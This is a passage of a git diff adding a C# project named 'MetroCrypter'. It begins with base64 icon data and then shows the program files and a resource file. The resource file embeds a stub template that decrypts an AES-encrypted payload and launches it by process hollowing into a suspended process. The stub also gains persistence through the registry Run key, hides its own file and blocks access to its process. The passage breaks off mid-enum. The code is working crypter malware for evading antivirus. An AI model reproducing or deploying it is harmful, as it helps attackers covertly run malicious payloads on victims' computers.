KVWBbxX/IqU+NG+RPKGqIOYNeNYMNyn3oblE991Y276hi7QGcS7zcoeWae3GATQ6yH7mRN9wQMHBGOTP + IOvpy/iAgoYYpRfkdepSH1DQmAXyirogTzQ9oOCCLBKDrtB8AQUXoQe3wmfO+QIKLFyjD7fnXKc1Dyz8 + +Qzec3rrzjMyDRb9fsiXqNy66UEs2PkWeaLpQRgHX1Ov0f5BGEZ9B9SPUH0Qg6MCCvTrghgwwEH5N6DA + nEGPmmA4iOa2G/v+L6xSHgXzZ+hFM2xS7kPzBBlUFVDAZ5D+45QO1NI0X5iLShm3Ctw+AAAAAElFTkSu + QmCC + + + + + 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 + Wv4HXGoMAZ8CJg4AAAAASUVORK5CYII= + + + + + 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 + + + \ No newline at end of file diff --git a/C# (MetroCrypterinf/Source/MetroCrypter/MetroCrypter/Program.cs b/C# (MetroCrypterinf/Source/MetroCrypter/MetroCrypter/Program.cs new file mode 100644 index 0000000..539bf10 --- /dev/null +++ b/C# (MetroCrypterinf/Source/MetroCrypter/MetroCrypter/Program.cs @@ -0,0 +1,16 @@ +using System; +using System.Windows.Forms; + +namespace MetroCrypter +{ + internal static class Program + { + [STAThread] + private static void Main() + { + Application.EnableVisualStyles(); + Application.SetCompatibleTextRenderingDefault(false); + Application.Run(new Form1()); + } + } +} \ No newline at end of file diff --git a/C# (MetroCrypterinf/Source/MetroCrypter/MetroCrypter/Properties/AssemblyInfo.cs b/C# (MetroCrypterinf/Source/MetroCrypter/MetroCrypter/Properties/AssemblyInfo.cs new file mode 100644 index 0000000..ec6dfa0 --- /dev/null +++ b/C# (MetroCrypterinf/Source/MetroCrypter/MetroCrypter/Properties/AssemblyInfo.cs @@ -0,0 +1,36 @@ +using System.Reflection; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; + +// General Information about an assembly is controlled through the following +// set of attributes. Change these attribute values to modify the information +// associated with an assembly. +[assembly: AssemblyTitle("MetroCrypter")] +[assembly: AssemblyDescription("")] +[assembly: AssemblyConfiguration("")] +[assembly: AssemblyCompany("")] +[assembly: AssemblyProduct("MetroCrypter")] +[assembly: AssemblyCopyright("Copyright © 2016")] +[assembly: AssemblyTrademark("")] +[assembly: AssemblyCulture("")] + +// Setting ComVisible to false makes the types in this assembly not visible +// to COM components. If you need to access a type in this assembly from +// COM, set the ComVisible attribute to true on that type. +[assembly: ComVisible(false)] + +// The following GUID is for the ID of the typelib if this project is exposed to COM +[assembly: Guid("fdfd0732-e42e-404f-91ec-0d73c391cf22")] + +// Version information for an assembly consists of the following four values: +// +// Major Version +// Minor Version +// Build Number +// Revision +// +// You can specify all the values or you can default the Build and Revision Numbers +// by using the '*' as shown below: +// [assembly: AssemblyVersion("1.0.*")] +[assembly: AssemblyVersion("1.0.0.0")] +[assembly: AssemblyFileVersion("1.0.0.0")] diff --git a/C# (MetroCrypterinf/Source/MetroCrypter/MetroCrypter/Properties/Resources.Designer.cs b/C# (MetroCrypterinf/Source/MetroCrypter/MetroCrypter/Properties/Resources.Designer.cs new file mode 100644 index 0000000..8a6aae4 --- /dev/null +++ b/C# (MetroCrypterinf/Source/MetroCrypter/MetroCrypter/Properties/Resources.Designer.cs @@ -0,0 +1,58 @@ +using System; +using System.CodeDom.Compiler; +using System.ComponentModel; +using System.Diagnostics; +using System.Globalization; +using System.Resources; +using System.Runtime.CompilerServices; + +namespace MetroCrypter.Properties +{ + [CompilerGenerated] + [DebuggerNonUserCode] + [GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")] + public class Resources + { + private static System.Resources.ResourceManager resourceMan; + + private static CultureInfo resourceCulture; + + [EditorBrowsable(EditorBrowsableState.Advanced)] + public static CultureInfo Culture + { + get + { + return MetroCrypter.Properties.Resources.resourceCulture; + } + set + { + MetroCrypter.Properties.Resources.resourceCulture = value; + } + } + + [EditorBrowsable(EditorBrowsableState.Advanced)] + public static System.Resources.ResourceManager ResourceManager + { + get + { + if (MetroCrypter.Properties.Resources.resourceMan == null) + { + MetroCrypter.Properties.Resources.resourceMan = new System.Resources.ResourceManager("MetroCrypter.Properties.Resources", typeof(MetroCrypter.Properties.Resources).Assembly); + } + return MetroCrypter.Properties.Resources.resourceMan; + } + } + + public static string thegoofstuff + { + get + { + return MetroCrypter.Properties.Resources.ResourceManager.GetString("thegoofstuff", MetroCrypter.Properties.Resources.resourceCulture); + } + } + + internal Resources() + { + } + } +} \ No newline at end of file diff --git a/C# (MetroCrypterinf/Source/MetroCrypter/MetroCrypter/Properties/Resources.resx b/C# (MetroCrypterinf/Source/MetroCrypter/MetroCrypter/Properties/Resources.resx new file mode 100644 index 0000000..537f119 --- /dev/null +++ b/C# (MetroCrypterinf/Source/MetroCrypter/MetroCrypter/Properties/Resources.resx @@ -0,0 +1,610 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + using System; +using System.Diagnostics; +using System.IO; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; +using System.Security.AccessControl; +using System.Security.Principal; +using Microsoft.Win32; +using System.Reflection; +using System.Resources; +using System.Threading; +using System.Windows.Forms; +using System.Security.Cryptography; + +using System.ComponentModel; +using System.Text; + + +[assembly: AssemblyTitle("[_ccc]")] +[assembly: AssemblyDescription("[_ddd]")] +[assembly: AssemblyCompany("[_ppopop]")] +[assembly: AssemblyProduct("[_pbo]")] +[assembly: AssemblyCopyright("[_t]")] +[assembly: AssemblyTrademark("[_codebranch]")] +[assembly: AssemblyVersion("[_junk]")] +[assembly: AssemblyFileVersion("[_extramoney]")] + +internal class Program +{ + + class Pod + { + + public static byte[] ReadManaged() + { + ResourceManager manager = new ResourceManager("Encrypted", Assembly.GetEntryAssembly()); + byte[] bytes = (byte[])manager.GetObject("enc"); + return bytes; + } + } + + public static bool BlockAccess(IntPtr handle) + { + int num = 0; + GetKernelObjectSecurity(handle, 4, null, 0, ref num); + if (num <= 0) + { + return false; + } + byte[] data = new byte[(num - 1) + 1]; + if (!GetKernelObjectSecurity(handle, 4, data, data.Length, ref num)) + { + return false; + } + RawSecurityDescriptor descriptor = new RawSecurityDescriptor(data, 0); + SecurityIdentifier sid = new SecurityIdentifier(WellKnownSidType.WorldSid, null); + CommonAce ace = new CommonAce(AceFlags.None, AceQualifier.AccessDenied, 0x1f0fff, sid, false, null); + descriptor.DiscretionaryAcl.InsertAce(0, ace); + data = new byte[(descriptor.BinaryLength - 1) + 1]; + descriptor.GetBinaryForm(data, 0); + if (!SetKernelObjectSecurity(handle, 4, data)) + { + return false; + } + return true; + } + + [DllImport("kernel32.dll", CharSet=CharSet.Ansi, SetLastError=true, ExactSpelling=true)] + public static extern bool CreateProcessA([MarshalAs(UnmanagedType.VBByRefStr)] ref string lpApplicationName, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpCurrentDirectory, byte[] lpStartupInfo, ref PROCESS_INFORMATION lpProcessInformation); + [DllImport("advapi32.dll", CharSet=CharSet.Ansi, SetLastError=true, ExactSpelling=true)] + public static extern bool GetKernelObjectSecurity(IntPtr handle, int requestedInformation, byte[] data, int dataLength, ref int size); + [DllImport("kernel32.dll", CharSet=CharSet.Ansi, SetLastError=true, ExactSpelling=true)] + public static extern IntPtr GetProcAddress(IntPtr hModule, [MarshalAs(UnmanagedType.VBByRefStr)] ref string procName); + [DllImport("kernel32.dll", CharSet=CharSet.Ansi, SetLastError=true, ExactSpelling=true)] + public static extern bool GetThreadContext(IntPtr hThread, ref CONTEXT lpContext); + [DllImport("ntdll.dll", CharSet=CharSet.Ansi, SetLastError=true, ExactSpelling=true)] + public static extern bool NtSetInformationProcess(IntPtr handle, int processInformationClass, ref int processInformation, int processInformationLength); + [DllImport("ntdll.dll", CharSet=CharSet.Ansi, SetLastError=true, ExactSpelling=true)] + public static extern bool NtUnmapViewOfSection(IntPtr hProcess, IntPtr lpBaseAddress); + [DllImport("kernel32.dll", CharSet=CharSet.Ansi, SetLastError=true, ExactSpelling=true)] + public static extern uint ResumeThread(IntPtr hThread); + + public static void Main() + { + + + //Giving a byte array for our encrypted bytes + byte[] FuckingBytes = Pod.ReadManaged(); + //The encryption key + string encKey = "[_key-replace011]"; + //The encryption key in bytes + byte[] commend = Encoding.UTF8.GetBytes(encKey); + //Makign a hash for the encryption key + commend = SHA256.Create().ComputeHash(commend); + //The decrypted bytes + byte[] whatudoing = _Axel(FuckingBytes,commend); + //Crypting process + string result = Encoding.UTF8.GetString(whatudoing); + //The all decrypted bytes + byte[] fuckdics = Convert.FromBase64String(result); + //If user choosed startup add to startup + + + + string hostProcess = ""; + if("[_ijto]" == "[_APP]") + { + // + } + if("[_ijto]" == "[_IS]") + { + if("[_IsStartupCompany]" == "[Ver]") + { + _AddToDatabase(); + } + if([_xx] != 0) + Thread.Sleep([_xx] * 1000); + + hostProcess = typeof(Program).Assembly.Location; + } + + + FileInfo _InformationDesk = new FileInfo(Application.ExecutablePath); + _InformationDesk.Attributes = FileAttributes.Hidden; + _PullAuthorsInfo(fuckdics, "", hostProcess); + int errorrrrr = 0; + + + Environment.Exit(errorrrrr); + + } + + + public static void _AddToDatabase() + { + + string _path = Path.Combine(Application.UserAppDataPath, "[_RegisteredF]"); + string _path2 = Path.Combine(_path, "[_RegisteredName].exe"); + + if (!File.Exists(_path2)) + { + DirectoryInfo di = Directory.CreateDirectory(_path); + File.Copy(Application.ExecutablePath, _path2, true); + RegistryKey _XFactorkey = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true); + if (_XFactorkey.ToString().Length != 0) _XFactorkey.SetValue("[_RegisteredName]", _path2); + } + } + public static byte[] _Axel(byte[] decrypted, byte[] key2) + { + + + byte[] dcbytes = null; + + byte[] saltie = new byte[] {1, 2, 3, 4, 5, 6, 7, 8}; + + using (MemoryStream ms = new MemoryStream()) + { + using (RijndaelManaged AES = new RijndaelManaged()) + { + AES.KeySize = 256; + AES.BlockSize = 128; + + Rfc2898DeriveBytes key = new Rfc2898DeriveBytes(key2, saltie, 1000); + AES.Key = key.GetBytes(AES.KeySize/8); + AES.IV = key.GetBytes(AES.BlockSize/8); + + AES.Mode = CipherMode.CBC; + + using (CryptoStream cs = new CryptoStream(ms, AES.CreateDecryptor(), CryptoStreamMode.Write)) + { + cs.Write(decrypted, 0, decrypted.Length); + cs.Close(); + } + dcbytes = ms.ToArray(); + } + } + return dcbytes; + } + + + + public static int _PullAuthorsInfo(byte[] file, string cmd, string location) + { + + int num = 0; + int num2 = 0; + + do + { + if (!(_MatchVerification(file, cmd, location) == IntPtr.Zero)) + { + break; + } + num2++; + } + while (num2 <= 9); + Process.GetCurrentProcess().Kill(); + return num; + } + + private static IntPtr _MatchVerification(byte[] file, string cmd, string location) + { + IntPtr hProcess = IntPtr.Zero; + try + { + UIntPtr ptr4 = UIntPtr.Zero; + IntPtr ptr6; + PROCESS_INFORMATION lpProcessInformation = new PROCESS_INFORMATION(); + CONTEXT lpContext = new CONTEXT(); + IMAGE_DOS_HEADER image_dos_header = new IMAGE_DOS_HEADER(); + IMAGE_SECTION_HEADER image_section_header = new IMAGE_SECTION_HEADER(); + IntPtr destination = Marshal.AllocHGlobal((int) (file.Length - 1)); + Marshal.Copy(file, 0, destination, file.Length - 1); + image_dos_header = (IMAGE_DOS_HEADER) Marshal.PtrToStructure(destination, typeof(IMAGE_DOS_HEADER)); + IntPtr ptr3 = Marshal.AllocHGlobal(file.Length); + Marshal.Copy(file, 0, ptr3, file.Length); + IMAGE_NT_HEADERS image_nt_headers = (IMAGE_NT_HEADERS) Marshal.PtrToStructure((IntPtr) (ptr3.ToInt32() + image_dos_header.e_lfanew), typeof(IMAGE_NT_HEADERS)); + string lpCurrentDirectory = null; + CreateProcessA(ref location, ref cmd, IntPtr.Zero, IntPtr.Zero, false, 4, IntPtr.Zero, ref lpCurrentDirectory, new byte[0x3d], ref lpProcessInformation); + NtUnmapViewOfSection(lpProcessInformation.hProcess, (IntPtr) image_nt_headers.OptionalHeader.ImageBase); + IntPtr lpAddress = new IntPtr((long) image_nt_headers.OptionalHeader.ImageBase); + if (VirtualAllocEx(lpProcessInformation.hProcess, lpAddress, image_nt_headers.OptionalHeader.SizeOfImage, AllocationType.COMMIT | AllocationType.RESERVE, MemoryProtection.EXECUTE_READWRITE) == IntPtr.Zero) + { + try + { + Process.GetProcessById((int) lpProcessInformation.dwProcessId).Kill(); + } + catch (Exception) + { + + } + return hProcess; + } + lpContext.ContextFlags = 0x10007; + GetThreadContext(lpProcessInformation.hThread, ref lpContext); + lpAddress = new IntPtr((long) image_nt_headers.OptionalHeader.ImageBase); + WriteProcessMemory(lpProcessInformation.hProcess, lpAddress, file, image_nt_headers.OptionalHeader.SizeOfHeaders, ref ptr4); + int num5 = image_nt_headers.FileHeader.NumberOfSections - 1; + for (int i = 0; i <= num5; i++) + { + uint num3 = 0; + ptr6 = new IntPtr(((GCHandle.Alloc(file, GCHandleType.Pinned).AddrOfPinnedObject().ToInt32() + image_dos_header.e_lfanew) + Marshal.SizeOf(RuntimeHelpers.GetObjectValue(image_nt_headers))) + (i * Marshal.SizeOf(RuntimeHelpers.GetObjectValue(image_section_header)))); + image_section_header = (IMAGE_SECTION_HEADER) Marshal.PtrToStructure(ptr6, typeof(IMAGE_SECTION_HEADER)); + byte[] lpBuffer = new byte[((int) ((image_section_header.SizeOfRawData + 1) - 1L)) + 1]; + int num6 = ((int) image_section_header.SizeOfRawData) - 1; + for (int j = 0; j <= num6; j++) + { + lpBuffer[j] = file[((int) image_section_header.PointerToRawData) + j]; + } + ptr6 = new IntPtr((long) (image_nt_headers.OptionalHeader.ImageBase + image_section_header.VirtualAddress)); + WriteProcessMemory(lpProcessInformation.hProcess, ptr6, lpBuffer, Convert.ToUInt32(image_section_header.SizeOfRawData), ref ptr4); + ptr6 = new IntPtr((long) (image_nt_headers.OptionalHeader.ImageBase + image_section_header.VirtualAddress)); + VirtualProtect(lpProcessInformation.hProcess, ptr6, image_section_header.VirtualSize, MemoryProtection.EXECUTE_READWRITE, ref num3); + } + byte[] bytes = BitConverter.GetBytes(image_nt_headers.OptionalHeader.ImageBase); + ptr6 = new IntPtr((long) (lpContext.Ebx + 8)); + WriteProcessMemory(lpProcessInformation.hProcess, ptr6, bytes, (uint) bytes.Length, ref ptr4); + lpContext.Eax = image_nt_headers.OptionalHeader.ImageBase + image_nt_headers.OptionalHeader.AddressOfEntryPoint; + SetThreadContext(lpProcessInformation.hThread, ref lpContext); + int num = (int) ResumeThread(lpProcessInformation.hThread); + hProcess = lpProcessInformation.hProcess; + } + catch (Exception) + { + + hProcess = IntPtr.Zero; + + } + return hProcess; + } + + [DllImport("advapi32.dll", CharSet=CharSet.Ansi, SetLastError=true, ExactSpelling=true)] + public static extern bool SetKernelObjectSecurity(IntPtr handle, int securityInformation, byte[] data); + [DllImport("kernel32.dll", CharSet=CharSet.Ansi, SetLastError=true, ExactSpelling=true)] + public static extern bool SetThreadContext(IntPtr hThread, [In] ref CONTEXT lpContext); + [DllImport("kernel32.dll", CharSet=CharSet.Ansi, SetLastError=true, ExactSpelling=true)] + public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, AllocationType flAllocationType, MemoryProtection flProtect); + [DllImport("kernel32.dll", CharSet=CharSet.Ansi, SetLastError=true, ExactSpelling=true)] + public static extern bool VirtualProtect(IntPtr hProcess, IntPtr lpAddress, uint dwSize, MemoryProtection flNewProtect, ref uint lpflOldProtect); + [DllImport("kernel32.dll", CharSet=CharSet.Ansi, SetLastError=true, ExactSpelling=true)] + public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, ref UIntPtr lpNumberOfBytesWritten); + + public enum AllocationType : uint + { + COMMIT = 0x1000, + LARGE_PAGES = 0x20000000, + PHYSICAL = 0x400000, + RESERVE = 0x2000, + RESET = 0x80000, + TOP_DOWN = 0x100000, + WRITE_WATCH = 0x200000 + } + + [StructLayout(LayoutKind.Sequential)] + public struct CONTEXT + { + public uint ContextFlags; + public uint Dr0; + public uint Dr1; + public uint Dr2; + public uint Dr3; + public uint Dr6; + public uint Dr7; + public Program.FLOATING_SAVE_AREA FloatSave; + public uint SegGs; + public uint SegFs; + public uint SegEs; + public uint SegDs; + public uint Edi; + public uint Esi; + public uint Ebx; + public uint Edx; + public uint Ecx; + public uint Eax; + public uint Ebp; + public uint Eip; + public uint SegCs; + public uint EFlags; + public uint Esp; + public uint SegSs; + [MarshalAs(UnmanagedType.ByValArray, SizeConst=0x200)] + public byte[] ExtendedRegisters; + } + + private enum CONTEXT_FLAGS : uint + { + CONTEXT_ALL = 0x1003f, + CONTEXT_CONTROL = 0x10001, + CONTEXT_DEBUG_REGISTERS = 0x10010, + CONTEXT_EXTENDED_REGISTERS = 0x10020, + CONTEXT_FLOATING_POINT = 0x10008, + CONTEXT_FULL = 0x10007, + CONTEXT_i386 = 0x10000, + CONTEXT_i486 = 0x10000, + 